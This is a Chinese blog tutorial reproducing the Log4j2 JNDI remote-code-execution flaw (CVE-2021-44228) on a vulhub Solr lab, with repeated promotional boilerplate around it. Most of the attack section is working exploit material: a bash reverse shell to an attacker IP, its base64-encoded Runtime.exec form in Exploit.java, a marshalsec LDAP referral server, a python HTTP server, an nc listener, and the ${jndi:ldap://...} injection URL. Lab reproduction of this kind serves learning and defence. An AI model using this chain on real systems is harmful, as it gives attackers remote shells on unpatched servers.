最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
资料预览
给大家整理的视频资料:
给大家整理的电子书资料:
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
漏洞原理
啥是log4j2?
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
啥是JNDI?
由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。
log4j2远程代码执行漏洞原理
**cve编号:**CVE-2021-44228
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简单点的漏洞利用示意图,如下:
尽可能画的详细一点,大概是下图。
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
靶场搭建
靶机:Ubuntu 192.168.200.129(无所谓是不是Ubuntu,随便找个地方用docker启动就行)
用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令:
docker-compose up –d
查看一下端口:
Docker-compose up -d
发现端口是8983,浏览器访问http://192.168.200.129:8983/
漏洞检测
用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform
点击Get SubDomin获取一个子域名,我这里是3dto27.dnslog.cn
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。
返回刚才的DNSLog平台,点击刷新记录Refresh Record(可能比较慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。
漏洞利用(获取反弹shell)
我第一次复现的时候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞,对漏洞利用的每个步骤好像并不是很明确,所以我们还是先不用这种方法,还是老老实实自己编写一下恶意代码,启动一下恶意的http服务站点和LDAP服务,完整的演示一下过程。
靶机:Ubuntu 192.168.200.129 (随便找个地方用docker搭一下就行)
攻击机: kali 192.168.200.131 (无所谓是不是kali,windows都行)
方法一:编写恶意文件
我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:
bash -i >& /dev/tcp/192.168.200.131/7777 0>&1
然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)")
编码结果为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:
javac Exploit.java
我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的随便一个目录下:
并在此目录开启http服务,我这里把端口设置为了4444,命令如下:
python -m http.server 4444
然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:
读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见
(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客 Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客")
下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。
好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://刚才http服务的地址:端口号/#Exploit" 1389
本例中的命令为:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.131:4444/#Exploit" 1389
接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:
nc -lvvp 7777
最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:
${jndi:ldap://192.168.200.131:1389/Exploit}
完整的url为:
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:
攻击机启动的LDAP服务的终端显示如下:
攻击机开启的HTTP服务的终端显示如下:
可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:
已经可以在攻击机执行任何代码了:
这样就实现了攻击,复现了log4j的远程代码执行漏洞。
复现成功之后别忘了用如下命令关闭靶场。
docker-compose down
最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
资料预览
给大家整理的视频资料:
给大家整理的电子书资料:
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-3mBbpUYN-1715418912057)]
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!